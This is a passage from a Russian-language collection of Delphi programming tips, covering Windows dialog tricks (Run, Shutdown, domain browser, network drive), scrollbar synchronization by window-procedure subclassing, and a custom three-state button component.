  end;
end;

// Each time the file dialog opens, the above function should
// be called to set the desired view style. The OnShow event
// of the file dialogs seems to be the right place for this
// purpose, however at that time the list is not created yet
// and the function fails.

// When the file list is created, the dialog raises two events:
// OnFolderChange and OnSelectionChange events. We can use one
// of these events for our purpose. However, we have to consider
// that the function should be called just once for each show.

// Here is a sample usage of the introduced function:

procedure TForm1.Button1Click(Sender: TObject);
begin
  OpenDialog1.Tag := 0;
  OpenDialog1.Execute;
end;

procedure TForm1.OpenDialog1FolderChange(Sender: TObject);
begin
  if OpenDialog1.Tag = 0 then
  begin
    SetFileDialogViewStyle(OpenDialog1.Handle, fvsIcons)
    OpenDialog1.Tag := 1;
  end;
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Манипулирование кнопками OpenDialog

uses
  CommCtrl;

// Example: Hide the "Create New Folder" Button.

procedure TForm1.OpenPictureDialog1Show(Sender: TObject);
const
  TB_BTN_NEWFOLDER  = 40962;
var
   hWndToolbar, wnd: HWND;
   tbInfo: TTBButtonInfoA;
begin
    tbInfo.cbSize := SizeOf(TTBButtonInfo);
    tbInfo.dwMask := TBIF_STATE;
    tbinfo.fsState := TBSTATE_HIDDEN or TBSTATE_INDETERMINATE;

    hWndToolbar := FindWindowEx(GetParent((Sender as TOpenPictureDialog).Handle), 0,
      'ToolbarWindow32', nil);
    SendMessage(hWndToolbar, TB_SETBUTTONINFO, TB_BTN_NEWFOLDER  ,LParam(@tbinfo));
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Показать Run диалог

uses
  ComObj;

procedure TForm1.FormCreate(Sender: TObject);
var
  ShellApplication: Variant;
begin
  ShellApplication := CreateOleObject('Shell.Application');
  ShellApplication.FileRun;
end;

{*****************************}

{2.}

{ This code uses the undocumented RunFileDlg function to show the "run" dialog }
// For Win NT
procedure RunFileDlgW(OwnerWnd: HWND; Icon: HICON; lpstrDirectory: PWideChar;
  lpstrTitle: PWideChar; lpstrDescription: PWideChar; Flags: Longint); stdcall;
  external 'Shell32.dll' Index 61;
// For Win 9x (Win NT to show standard captions )
procedure RunFileDlg(OwnerWnd: HWND; Icon: HICON; lpstrDirectory: PChar;
  lpstrTitle: PChar; lpstrDescription: PChar; Flags: Longint); stdcall;
  external 'Shell32.dll' Index 61;
const
  RFF_NOBROWSE = 1; //Removes the browse button.
  RFF_NODEFAULT = 2; // No default item selected.
  RFF_CALCDIRECTORY = 4; // Calculates the working directory from the file name.
  RFF_NOLABEL = 8; // Removes the edit box label.
  RFF_NOSEPARATEMEM = 14; // Removes the Separate Memory Space check box (Windows NT only).
function ShowRunFileDialg(OwnerWnd: HWND; InitialDir, Title, Description: PChar;
  flags: Integer; StandardCaptions: Boolean): Boolean;
var
  HideBrowseButton: Boolean;
  TitleWideChar, InitialDirWideChar, DescriptionWideChar: PWideChar;
  Size: Integer;
begin
  if (Win32Platform = VER_PLATFORM_WIN32_NT) and not StandardCaptions then
  begin
    Size := SizeOf(WideChar) * MAX_PATH;
    InitialDirWideChar := nil;
    TitleWideChar := nil;
    DescriptionWideChar := nil;
    GetMem(InitialDirWideChar, Size);
    GetMem(TitleWideChar, Size);
    GetMem(DescriptionWideChar, Size);
    StringToWideChar(InitialDir, InitialDirWideChar, MAX_PATH);
    StringToWideChar(Title, TitleWideChar, MAX_PATH);
    StringToWideChar(Description, DescriptionWideChar, MAX_PATH);
    try
      RunFileDlgW(OwnerWnd, 0, InitialDirWideChar, TitleWideChar, DescriptionWideChar, Flags);
    finally
      FreeMem(InitialDirWideChar);
      FreeMem(TitleWideChar);
      FreeMem(DescriptionWideChar);
    end;
  end else
    RunFileDlg(OwnerWnd, 0, PChar(InitialDir), PChar(Title), PChar(Description), Flags);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowRunFileDialg(FindWindow('Shell_TrayWnd', nil), nil, nil, nil, RFF_NOBROWSE, True);
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Показать Choose Domain диалог?

{
  If you are developing network software for Windows NT,
  you usually need to ask the user to select a computer or domain
  he wants to connect/login.
}

const
  FOCUSDLG_DOMAINS_ONLY = 1;
  FOCUSDLG_SERVERS_ONLY = 2;
  FOCUSDLG_SERVERS_DOMAINS = 3;
  FOCUSDLG_BROWSE_LOGON_DOMAIN = $00010000;
  FOCUSDLG_BROWSE_WKSTA_DOMAIN = $00020000;
  FOCUSDLG_BROWSE_OTHER_DOMAINS = $00040000;
  FOCUSDLG_BROWSE_TRUSTING_DOMAINS = $00080000;
  FOCUSDLG_BROWSE_WORKGROUP_DOMAINS = $00100000;
  FOCUSDLG_BROWSE_ALL_DOMAINS = FOCUSDLG_BROWSE_LOGON_DOMAIN or
    FOCUSDLG_BROWSE_WKSTA_DOMAIN or FOCUSDLG_BROWSE_OTHER_DOMAINS or
    FOCUSDLG_BROWSE_TRUSTING_DOMAINS or FOCUSDLG_BROWSE_WORKGROUP_DOMAINS;

function SystemFocusDialog(hwndOwner: HWND; dwSelectionFlag: UINT;
  wszName: PWideChar; dwBufSize: DWORD; var bOKPressed: Boolean;
  wszHelpFile: PWideChar; dwContextHelpId: DWORD): DWORD; stdcall;
  external 'ntlanman.dll' Name 'I_SystemFocusDialog';

function ComputerBrowser(hWndParent: HWND; wCompName: PWideChar;
  dwBufLen: DWORD): Boolean;
var
  dwError: DWORD;
begin
  Result := False;
  dwError := SystemFocusDialog(hWndParent, FOCUSDLG_SERVERS_DOMAINS or
    FOCUSDLG_BROWSE_ALL_DOMAINS,
    wCompName, dwBufLen, Result, nil, 0);
  if dwError <> NO_ERROR then Exit;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  wCompName: array [0..MAX_COMPUTERNAME_LENGTH + 1] of WideChar;
begin
  if ComputerBrowser(0, wCompName, MAX_COMPUTERNAME_LENGTH + 1) then
    ShowMessage(wCompName)
  else
    ShowMessage('no computer selected');
end;

{***************************}

// Show the ServerBrowseDialogA0 Dialog

type
  TServerBrowseDialogA0 = function(hwnd: HWND; pchBuffer: Pointer;
    cchBufSize: DWORD): bool;
  stdcall;

function ShowServerDialog(AHandle: THandle): string;
var
  ServerBrowseDialogA0: TServerBrowseDialogA0;
  LANMAN_DLL: DWORD;
  buffer: array[0..1024] of char;
  bLoadLib: Boolean;
begin
  LANMAN_DLL := GetModuleHandle('NTLANMAN.DLL');
  if LANMAN_DLL = 0 then
  begin
    LANMAN_DLL := LoadLibrary('NTLANMAN.DLL');
    bLoadLib := True;
  end;
  if LANMAN_DLL <> 0 then
  begin @ServerBrowseDialogA0 := GetProcAddress(LANMAN_DLL, 'ServerBrowseDialogA0');
    DialogBox(HInstance, MAKEINTRESOURCE(101), AHandle, nil);
    ServerBrowseDialogA0(AHandle, @buffer, 1024);
    if buffer[0] = '\' then
    begin
      Result := buffer;
    end;
    if bLoadLib then
      FreeLibrary(LANMAN_DLL);
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  label1.Caption := ShowServerDialog(Form1.Handle);
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как вызвать Shutdown Windows dialog?

uses ComObj;

{....}

procedure TForm1.Button1Click(Sender: TObject);
var
  shell: Variant;
begin
  shell := CreateOleObject('Shell.Application');
  shell.ShutdownWindows;
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Диалог подключения сетевого диска

procedure TStartForm.NetBtnClick(Sender: TObject);
var
  OldDrives: TStringList;
  i: Integer;
begin
  OldDrives := TStringList.Create;
  // Запоминаем список дисков
  OldDrives.Assign(Drivebox.Items);
  // Показываем диалог подключения
  if WNetConnectionDialog(Handle, RESOURCETYPE_DISK) = NO_ERROR then
  begin
    // Обновляем список дисков
    DriveBox.TextCase := tcLowerCase;
    for i := 0 to DriveBox.Items.Count - 1 do
    begin
      // Ищем свободный логический диск
      if Olddrives.IndexOf(Drivebox.Items[i]) = -1 then
      begin
        // Показываем первый найденный логический диск
        DriveBox.ItemIndex := i;
        // Каскадируем обновление на список подключенных каталогов и др.
        DriveBox.Drive := DriveBox.Text[1];
      end;
    end;
    DriveBox.SetFocus;
  end;
  OldDrives.Free;
end;

Взято с http://delphiworld.narod.ru


Использование InputBox и InputQuery

Данная функция демонстрирует 3 очень мощных и полезных процедуры, интегрированных в Delphi.

Диалоговые окна InputBox и InputQuery позволяют пользователю вводить данные.

Функция InputBox используется в том случае, когда не имеет значения что пользователь выбирает для закрытия диалогового окна - кнопку OK или кнопку Cancel (или нажатие клавиши Esc). Если вам необходимо знать какую кнопку нажал пользователь (OK или Cancel (или нажал клавишу Esc)), используйте функцию InputQuery.

ShowMessage - другой простой путь отображения сообщения для пользователя.

procedure TForm1.Button1Click(Sender: TObject);
var
  s, s1: string;
  b: boolean;
begin
  s := Trim(InputBox('Новый пароль', 'Пароль', 'masterkey'));
  b := s <> '';
  s1 := s;
  if b then
    b := InputQuery('Повторите пароль', 'Пароль', s1);
  if not b or (s1 <> s) then
    ShowMessage('Пароль неверен');
end;

Взято с http://delphiworld.narod.ru


Прокрутка, ScrollBox

Cодержание раздела:

Как убрать HSCROLL у DBGRID?
Как перехватить сообщения скроллирования в TScrollBox?
Как сделать плавную прокрутку?
Синхронизация двух компонентов ScrollBox
Ползунок компонента TScrollBar все время мигает. Как это отключить?

См. также статьи в других разделах:
Как програмно прокрутить Memo?
Как прокрутить TRichEdit в конец?
Прокрутка TreeView, чтобы держать выделение посередине
Как добавить горизонтальную полосу прокрутки (scrollbar) в TListBox?
Прокрутка таблицы - хитрость PeekMessage
Как удалить вертикальную полосу прокрутки (скроллбар) из DBGrid?


Как убрать HSCROLL у DBGRID?

Нужные нам свойства существуют, но вынесены в секцию Protected предка DBGrid: TCustomGrid. Наиболее правильным способом было бы создание класса наследника от TDBGrid с выводом ScrollBars в секцию Public, но можно обойтись и без этого следующим способом:

Type TFake=class(TCustomGrid);

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
TFake(DBGrid1).ScrollBars:=ssVertical;
end;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как перехватить сообщения скроллирования в TScrollBox?

Следующий пример перхватывает сообщения скроллирования в компоненте TScrollBox, тем самым синхронизируя два скролбара. Если один из скролбаров изменяет своё положение, то значение второго скролбара изменяется на такую же величину. Сообщения скролирования перехватываются путём сабклассинга оконной процедуры (WinProc) у скролбара.

Пример:

type
{$IFDEF WIN32}
  WParameter = LongInt;
{$ELSE}
  WParameter = Word;
{$ENDIF}
  LParameter = LongInt;

{Объявляем переменную для хранения подменённой оконной процедуры}
var
  OldWindowProc : Pointer;

function NewWindowProc(WindowHandle : hWnd;
                       TheMessage   : WParameter;
                       ParamW       : WParameter;
                       ParamL       : LParameter) : LongInt
{$IFDEF WIN32} stdcall; {$ELSE} ; export; {$ENDIF}
var
  TheRangeMin : integer;
  TheRangeMax : integer;
  TheRange : integer;
begin

  if TheMessage = WM_VSCROLL then begin
  {Получаем минимальное и максимальное значения scroll box}
    GetScrollRange(WindowHandle,
                   SB_HORZ,
                   TheRangeMin,
                   TheRangeMax);
  {Получаем вертикальную позицию scroll box}
    TheRange := GetScrollPos(WindowHandle,
                             SB_VERT);
  {Проверим, чтобы не выйти за диапазон}
    if TheRange < TheRangeMin then
      TheRange := TheRangeMin else
    if TheRange > TheRangeMax then
      TheRange := TheRangeMax;
  {Устанавливаем горизонтальный scroll bar}
    SetScrollPos(WindowHandle,
                 SB_HORZ,
                 TheRange,
                 true);
  end;

  if TheMessage = WM_HSCROLL then begin
  {Получаем мин. и макс. диапазон горизонтального scroll box}
    GetScrollRange(WindowHandle,
                   SB_VERT,
                   TheRangeMin,
                   TheRangeMax);
  {Получаем позицию горизонтального scroll box}
    TheRange := GetScrollPos(WindowHandle,
                             SB_HORZ);
  {Проверим, чтобы не выйти за диапазон}
    if TheRange < TheRangeMin then
      TheRange := TheRangeMin else
    if TheRange > TheRangeMax then
      TheRange := TheRangeMax;
  {Устанавливаем вертикальный scroll bar}
    SetScrollPos(WindowHandle,
                 SB_VERT,
                 TheRange,
                 true);
  end;

{ Вызываем старую оконную процедуру }
{ чтобы обработались сообщения. }
  NewWindowProc := CallWindowProc(OldWindowProc,
                                  WindowHandle,
                                  TheMessage,
                                  ParamW,
                                  ParamL);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
{ Устанавливаем новую оконную процедуру для контрола }
{ и запоминаем старую оконную процедуру.    }
  OldWindowProc := Pointer(SetWindowLong(ScrollBox1.Handle,
                                         GWL_WNDPROC,
                                         LongInt(@NewWindowProc)));
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
{ Возвращаем обратно старую оконную процедуру.  }
  SetWindowLong(ScrollBox1.Handle,
                GWL_WNDPROC,
                LongInt(OldWindowProc));

end;

Взято из http://forum.sources.ru


Как сделать плавную прокрутку?

В RxLib есть компонент SecretPanel для этого..

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Синхронизация двух компонентов ScrollBox

Решить задачу помогут обработчики событий OnScroll (в данном примере два компонента ScrollBox (ScrollBar1 и ScrollBar2) расположены на форме TMainForm):

procedure TMainForm.ScrollBar1Scroll(Sender: TObject;
ScrollCode: TScrollCode; var ScrollPos: Integer);
begin
  ScrollBar2.Position:=ScrollPos;
end;

procedure TMainForm.ScrollBar2Scroll(Sender: TObject;
ScrollCode: TScrollCode; var ScrollPos: Integer);
begin
  ScrollBar1.Position := ScrollPos;
end;

Взято с http://delphiworld.narod.ru


Ползунок компонента TScrollBar все время мигает. Как это отключить?

Установите свойтсво ScrollBar.TabStop в False.


Button, SpeedButton, BitBtn

Cодержание раздела:

Как програмно нажать SpeedButton?
Расширяем возможности кнопок в Delphi.
Автоматически нажимающаяся кнопка
Кнопка со звуком
Кнопка или пункт меню выполняет другую функцию при нажатой кнопке shift
Как изменить цвет TButton?
Как сделать многострочную надпись на TBitBtn?
Если прозрачная часть glyph'а становится видной...
Можно ли использовать иконку как картинку на кнопке TSpeedButton?
Пример компонента типа XPButton New!


Как програмно нажать SpeedButton?

SpeedButton1.Perform(WM_LBUTTONDOWN, 0, 0);
SpeedButton1.Perform(WM_LBUTTONUP, 0, 0);

Автор:Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Расширяем возможности кнопок в Delphi.

Автор: Maarten de Haan

Пример показывает, как сделать кнопку с тремя состояниями. В обычном состоянии она сливается с формой. При наведении на такую кнопку курсором мышки, она становится выпуклой. Ну и, соотвественно, при нажатии, кнопка становится вогнутой.

Также можно создать до 4-х изображений для индикации состояния кнопки

              <--------- Ширина --------->

              +------+------+-----+------+    ^
              |Курсор|Курсор|нажа-|недос-|    |
              |на кно|за пре| та  |тупна |  Высота
              | пке  |делами|     |      |    |
              +------+------+-----+------+    v

Вы так же можете присвоить кнопке текстовый заголовок. Можно расположить текст и изображение в любом месте кнопки. Для этого в пример добавлены четыре свойства:

TextTop и TextLeft, Для расположения текста заголовка на кнопке,
и:
GlyphTop и GlyphLeft, Для расположения Glyph на кнопке.

Текст заголовка прорисовывается после изображения, потому что они используют одно пространство кнопки, и соответственно заголовок прорисуется поверх изображения. Бэкграунд текста сделан прозрачным. Соответственно мы увидим только текстовые символы поверх изображения.

Найденные баги
----------
1) Если двигать мышку очень быстро, то кнопка может не вернуться в исходное состояние
2) Если кнопка находится в запрещённом состоянии, то при нажатии на неё, будет наблюдаться неприятное мерцание.

Unit NewButton;

Interface

Uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs;

Const
   fShift = 2; // Изменяем изображение и заголовок , когда кнопка нажата.
   fHiColor = $DDDDDD; // Цвет нажатой кнопки (светло серый)
               // Windows создаёт этот цвет путём смешивания пикселей clSilver и clWhite (50%).
               // такой цвет хорошо выделяет нажатую и отпущенную кнопки.

Type
  TNewButton = Class(TCustomControl)
  Private
    { Private declarations }
    fMouseOver,fMouseDown              : Boolean;
    fEnabled                          : Boolean;
                                      // То же, что и всех компонент
    fGlyph                            : TPicture;
                                      // То же, что и в SpeedButton
    fGlyphTop,fGlyphLeft              : Integer;
                                      // Верх и лево Glyph на изображении кнопки
    fTextTop,fTextLeft                : Integer;
                                      // Верх и лево текста на изображении кнопки
    fNumGlyphs                        : Integer;
                                      // То же, что и в SpeedButton
    fCaption                          : String;
                                      // Текст на кнопке
    fFaceColor                        : TColor;
                                      // Цвет изображения (да-да, вы можете задавать цвет изображения кнопки

    Procedure fLoadGlyph(G : TPicture);
    Procedure fSetGlyphLeft(I : Integer);
    Procedure fSetGlyphTop(I : Integer);
    Procedure fSetCaption(S : String);
    Procedure fSetTextTop(I : Integer);
    Procedure fSetTextLeft(I : Integer);
    Procedure fSetFaceColor(C : TColor);
    Procedure fSetNumGlyphs(I : Integer);
    Procedure fSetEnabled(B : Boolean);

  Protected
    { Protected declarations }
    Procedure Paint; override;
    Procedure MouseDown(Button: TMouseButton; Shift: TShiftState;
      X, Y: Integer); override;
    Procedure MouseUp(Button: TMouseButton; Shift: TShiftState;
      X, Y: Integer); override;
    Procedure WndProc(var Message : TMessage); override;
    // Таким способом компонент определяет - находится ли курсор мышки на нём или нет
    // Если курсор за пределами кнопки, то она всё равно продолжает принимать сообщения мышки.
    // Так же кнопка будет принимать сообщения, если на родительском окне нет фокуса.

  Public
    { Public declarations }
    Constructor Create(AOwner : TComponent); override;
    Destructor Destroy; override;

  Published
    { Published declarations }
    {----- Properties -----}
    Property Action;
    // Property AllowUp не поддерживается
    Property Anchors;
    Property BiDiMode;
    Property Caption : String
       read fCaption write fSetCaption;
    Property Constraints;
    Property Cursor;
    // Property Down не поддерживается
    Property Enabled : Boolean
       read fEnabled write fSetEnabled;
    // Property Flat не поддерживается
    Property FaceColor : TColor
       read fFaceColor write fSetFaceColor;
    Property Font;
    property Glyph : TPicture // Такой способ позволяет получить серую кнопку, которая сможет
                              //   находиться в трёх положениях.
                              // После нажатия на кнопку, с помощью редактора картинок Delphi
                              // можно будет создать картинки для всех положений кнопки..
       read fGlyph write fLoadGlyph;
    // Property GroupIndex не поддерживается
    Property GlyphLeft : Integer
       read fGlyphLeft write fSetGlyphLeft;
    Property GlyphTop : Integer
       read fGlyphTop write fSetGlyphTop;
    Property Height;
    Property Hint;
    // Property Layout не поддерживается
    Property Left;
    // Property Margin не поддерживается
    Property Name;
    Property NumGlyphs : Integer
       read fNumGlyphs write fSetNumGlyphs;
    Property ParentBiDiMode;
    Property ParentFont;
    Property ParentShowHint;
    // Property PopMenu не поддерживается
    Property ShowHint;
    // Property Spacing не поддерживается
    Property Tag;
    Property Textleft : Integer
       read fTextLeft write fSetTextLeft;
    Property TextTop : Integer
       read fTextTop write fSetTextTop;

    Property Top;
    // Property Transparent не поддерживается
    Property Visible;
    Property Width;
    {--- События ---}
    Property OnClick;
    Property OnDblClick;
    Property OnMouseDown;
    Property OnMouseMove;
    Property OnMouseUp;
  end;

Procedure Register; // Hello

Implementation

{--------------------------------------------------------------------}
Procedure TNewButton.fSetEnabled(B : Boolean);

Begin
If B <> fEnabled then
   Begin
   fEnabled := B;
   Invalidate;
   End;
End;
{--------------------------------------------------------------------}
Procedure TNewButton.fSetNumGlyphs(I : Integer);

Begin
If I > 0 then
   If I <> fNumGlyphs then
      Begin
      fNumGlyphs := I;
      Invalidate;
      End;
End;
{--------------------------------------------------------------------}
Procedure TNewButton.fSetFaceColor(C : TColor);

Begin
If C <> fFaceColor then
   Begin
   fFaceColor := C;
   Invalidate;
   End;
End;
{--------------------------------------------------------------------}
Procedure TNewButton.fSetTextTop(I : Integer);

Begin
If I >= 0 then
   If I <> fTextTop then
      Begin
      fTextTop := I;
      Invalidate;
      End;
End;
{--------------------------------------------------------------------}
Procedure TNewButton.fSetTextLeft(I : Integer);

Begin
If I >= 0 then
   If I <> fTextLeft then
      Begin
      fTextLeft := I;
      Invalidate;
      End;
End;
{--------------------------------------------------------------------}
Procedure TNewButton.fSetCaption(S : String);

Begin
If (fCaption <> S) then
   Begin
   fCaption := S;
   SetTextBuf(PChar(S));
   Invalidate;
   End;
End;
{--------------------------------------------------------------------}
Procedure TNewButton.fSetGlyphLeft(I : Integer);

Begin
If I <> fGlyphLeft then
   If I >= 0 then
      Begin
      fGlyphLeft := I;
      Invalidate;
      End;
End;
{--------------------------------------------------------------------}
Procedure TNewButton.fSetGlyphTop(I : Integer);

Begin
If I <> fGlyphTop then
   If I >= 0 then
      Begin
      fGlyphTop := I;
      Invalidate;
      End;
End;
{--------------------------------------------------------------------}
procedure tNewButton.fLoadGlyph(G : TPicture);

Var
   I      : Integer;

Begin
fGlyph.Assign(G);
If fGlyph.Height > 0 then
   Begin
   I := fGlyph.Width div fGlyph.Height;
   If I <> fNumGlyphs then
      fNumGlyphs := I;
   End;
Invalidate;
End;
{--------------------------------------------------------------------}
Procedure Register; // Hello

Begin
RegisterComponents('Samples', [TNewButton]);
End;
{--------------------------------------------------------------------}
Constructor TNewButton.Create(AOwner : TComponent);

Begin
Inherited Create(AOwner);
{ Инициализируем переменные }
Height := 37;
Width := 37;
fMouseOver := False;
fGlyph := TPicture.Create;
fMouseDown := False;
fGlyphLeft := 2;
fGlyphTop := 2;
fTextLeft := 2;
fTextTop := 2;
fFaceColor := clBtnFace;
fNumGlyphs := 1;
fEnabled := True;
End;
{--------------------------------------------------------------------}
Destructor TNewButton.Destroy;

Begin
If Assigned(fGlyph) then
   fGlyph.Free; // Освобождаем glyph
inherited Destroy;
End;
{--------------------------------------------------------------------}
Procedure TNewButton.Paint;

Var
   fBtnColor,fColor1,fColor2,
   fTransParentColor            : TColor;
   Buffer                      : Array[0..127] of Char;
   I,J                          : Integer;
   X0,X1,X2,X3,X4,Y0            : Integer;
   DestRect                    : TRect;
   TempGlyph                    : TPicture;

Begin
X0 := 0;
X1 := fGlyph.Width div fNumGlyphs;
X2 := X1 + X1;
X3 := X2 + X1;
X4 := X3 + X1;
Y0 := fGlyph.Height;
TempGlyph := TPicture.Create;
TempGlyph.Bitmap.Width := X1;
TempGlyph.Bitmap.Height := Y0;
DestRect := Rect(0,0,X1,Y0);

GetTextBuf(Buffer,SizeOf(Buffer)); // получаем caption
If Buffer <> '' then
   fCaption := Buffer;

If fEnabled = False then
   fMouseDown := False; // если недоступна, значит и не нажата

If fMouseDown then
   Begin
   fBtnColor := fHiColor; // Цвет нажатой кнопки
   fColor1 := clWhite;    // Правая и нижняя окантовка кнопки, когда на неё нажали мышкой.
   fColor2 := clBlack;    // Верхняя и левая окантовка кнопки, когда на неё нажали мышкой.
   End
else
   Begin
   fBtnColor := fFaceColor; // fFaceColor мы сами определяем
   fColor2 := clWhite;     // Цвет левого и верхнего края кнопки, когда на неё находится курсор мышки
   fColor1 := clGray;      // Цвет правого и нижнего края кнопки, когда на неё находится курсор мышки
   End;

// Рисуем лицо кнопки :)
Canvas.Brush.Color := fBtnColor;
Canvas.FillRect(Rect(1,1,Width - 2,Height - 2));

If fMouseOver then
   Begin
   Canvas.MoveTo(Width,0);
   Canvas.Pen.Color := fColor2;
   Canvas.LineTo(0,0);
   Canvas.LineTo(0,Height - 1);
   Canvas.Pen.Color := fColor1;
   Canvas.LineTo(Width - 1,Height - 1);
   Canvas.LineTo(Width - 1, - 1);
   End;

If Assigned(fGlyph) then  // Bitmap загружен?
   Begin
   If fEnabled then       // Кнопка разрешена?
      Begin
      If fMouseDown then  // Мышка нажата?
         Begin
         // Mouse down on the button so show Glyph 3 on the face
         If (fNumGlyphs >= 3) then
            TempGlyph.Bitmap.Canvas.CopyRect(DestRect,
               fGlyph.Bitmap.Canvas,Rect(X2,0,X3,Y0));

         If (fNumGlyphs < 3) and (fNumGlyphs > 1)then
            TempGlyph.Bitmap.Canvas.CopyRect(DestRect,
               fGlyph.Bitmap.Canvas,Rect(X0,0,X1,Y0));

         If (fNumGlyphs = 1) then
            TempGlyph.Assign(fGlyph);

         // Извините, лучшего способа не придумал...
         // Glyph.Bitmap.Прозрачность цвета не работает, если Вы выберете в качестве
         // прозрачного цвета clWhite...
         fTransParentColor := TempGlyph.Bitmap.Canvas.Pixels[0,Y0-1];
         For I := 0 to X1 - 1 do
            For J := 0 to Y0 - 1 do
               If TempGlyph.Bitmap.Canvas.Pixels[I,J] =
                  fTransParentColor then
                  TempGlyph.Bitmap.Canvas.Pixels[I,J] := fBtnColor;
         //Рисуем саму кнопку
         Canvas.Draw(fGlyphLeft + 2,fGlyphTop + 2,TempGlyph.Graphic);
         End
      else
         Begin
         If fMouseOver then
            Begin
            // Курсор на кнопке, но не нажат, показываем Glyph 1 на морде кнопки
            // (если существует)
            If (fNumGlyphs > 1) then
               TempGlyph.Bitmap.Canvas.CopyRect(DestRect,
                  fGlyph.Bitmap.Canvas,Rect(0,0,X1,Y0));
            If (fNumGlyphs = 1) then
               TempGlyph.Assign(fGlyph);
            End
         else
            Begin
            // Курсор за пределами кнопки, показываем Glyph 2 на морде кнопки (если есть)
            If (fNumGlyphs > 1) then
               TempGlyph.Bitmap.Canvas.CopyRect(DestRect,
                  fGlyph.Bitmap.Canvas,Rect(X1,0,X2,Y0));
            If (fNumGlyphs = 1) then
               TempGlyph.Assign(fGlyph);
            End;
         // Извиняюсь, лучшего способа не нашёл...
         fTransParentColor := TempGlyph.Bitmap.Canvas.Pixels[0,Y0-1];
         For I := 0 to X1 - 1 do
            For J := 0 to Y0 - 1 do
               If TempGlyph.Bitmap.Canvas.Pixels[I,J] =
                  fTransParentColor then
                  TempGlyph.Bitmap.Canvas.Pixels[I,J] := fBtnColor;
         //Рисуем bitmap на морде кнопки
         Canvas.Draw(fGlyphLeft,fGlyphTop,TempGlyph.Graphic);
         End;
      End
   else
      Begin
      // Кнопка не доступна (disabled), показываем Glyph 4 на морде кнопки (если существует)
      If (fNumGlyphs = 4) then
         TempGlyph.Bitmap.Canvas.CopyRect(DestRect,
            fGlyph.Bitmap.Canvas,Rect(X3,0,X4,Y0))
      else
         TempGlyph.Bitmap.Canvas.CopyRect(DestRect,
            fGlyph.Bitmap.Canvas,Rect(0,0,X1,Y0));
      If (fNumGlyphs = 1) then
         TempGlyph.Assign(fGlyph.Graphic);

      // Извините, лучшего способа не нашлось...
      fTransParentColor := TempGlyph.Bitmap.Canvas.Pixels[0,Y0-1];
      For I := 0 to X1 - 1 do
         For J := 0 to Y0 - 1 do
            If TempGlyph.Bitmap.Canvas.Pixels[I,J] =
               fTransParentColor then
               TempGlyph.Bitmap.Canvas.Pixels[I,J] := fBtnColor;
      //Рисуем изображение кнопки
      Canvas.Draw(fGlyphLeft,fGlyphTop,TempGlyph.Graphic);
      End;
   End;

// Рисуем caption
If fCaption <> '' then
   Begin
   Canvas.Pen.Color := Font.Color;
   Canvas.Font.Name := Font.Name;
   Canvas.Brush.Style := bsClear;
   //Canvas.Brush.Color := fBtnColor;
   Canvas.Font.Color := Font.Color;
   Canvas.Font.Size := Font.Size;
   Canvas.Font.Style := Font.Style;

   If fMouseDown then
      Canvas.TextOut(fShift + fTextLeft,fShift + fTextTop,fCaption)
   else
      Canvas.TextOut(fTextLeft,fTextTop,fCaption);
   End;

TempGlyph.Free; // Освобождаем временный glyph
End;
{--------------------------------------------------------------------}
// Нажата клавиша мышки на кнопке ?
Procedure TNewButton.MouseDown(Button: TMouseButton;
   Shift: TShiftState;X, Y: Integer);

Var
   ffMouseDown,ffMouseOver : Boolean;

Begin
ffMouseDown := True;
ffMouseOver := True;
If (ffMouseDown <> fMouseDown) or (ffMouseOver <> fMouseOver) then
   Begin
   fMouseDown := ffMouseDown;
   fMouseOver := ffMouseOver;
   Invalidate; // не перерисовываем кнопку без необходимости.
   End;
Inherited MouseDown(Button,Shift,X,Y);;
End;
{--------------------------------------------------------------------}
// Отпущена клавиша мышки на кнопке ?
Procedure TNewButton.MouseUp(Button: TMouseButton; Shift: TShiftState;
      X, Y: Integer);

Var
   ffMouseDown,ffMouseOver : Boolean;

Begin
ffMouseDown := False;
ffMouseOver := True;
If (ffMouseDown <> fMouseDown) or (ffMouseOver <> fMouseOver) then
   Begin
   fMouseDown := ffMouseDown;
   fMouseOver := ffMouseOver;
   Invalidate; // не перерисовываем кнопку без необходимости.
   End;
Inherited MouseUp(Button,Shift,X,Y);
End;
{--------------------------------------------------------------------}
// Эта процедура перехватывает события мышки, если она даже за пределами кнопки
// Перехватываем оконные сообщения
Procedure TNewButton.WndProc(var Message : TMessage);

Var
   P1,P2 : TPoint;
   Bo    : Boolean;

Begin
If Parent <> nil then
   Begin
   GetCursorPos(P1); // Получаем координаты курсона на экране
   P2 := Self.ScreenToClient(P1); // Преобразуем их в координаты относительно кнопки
   If (P2.X > 0) and (P2.X < Width) and
      (P2.Y > 0) and (P2.Y < Height) then
      Bo := True // Курсор мышки в области кнопки
   else
      Bo := False; // Курсор мышки за пределами кнопки

   If Bo <> fMouseOver then // не перерисовываем кнопку без необходимости.
      Begin
      fMouseOver := Bo;
      Invalidate;
      End;
   End;
inherited WndProc(Message); // отправляем сообщение остальным получателям
End;
{--------------------------------------------------------------------}
End.
{====================================================================}

Взято из http://forum.sources.ru


Автоматически нажимающаяся кнопка

Этот компонент представляет из себя кнопку, на которую не надо нажимать, чтобы получить событие OnClick. Достаточно переместить курсор мышки на кнопку. При создании такого компонента традиционным способом, требуется довольно много времени, так как необходимо обрабатывать мышку, перехватывать её и т.д. Однако результат стоит того!

Предлагаю взглянуть на две версии данного компонента. В более простой версии обработчик перемещения мышки просто перехватывает сообщения Windows с нужным кодом и вызывает обработчик события OnClick:

type
  TAutoButton1 = class(TButton)
  private
    procedure WmMouseMove (var Msg: TMessage);
      message wm_MouseMove;
  end;

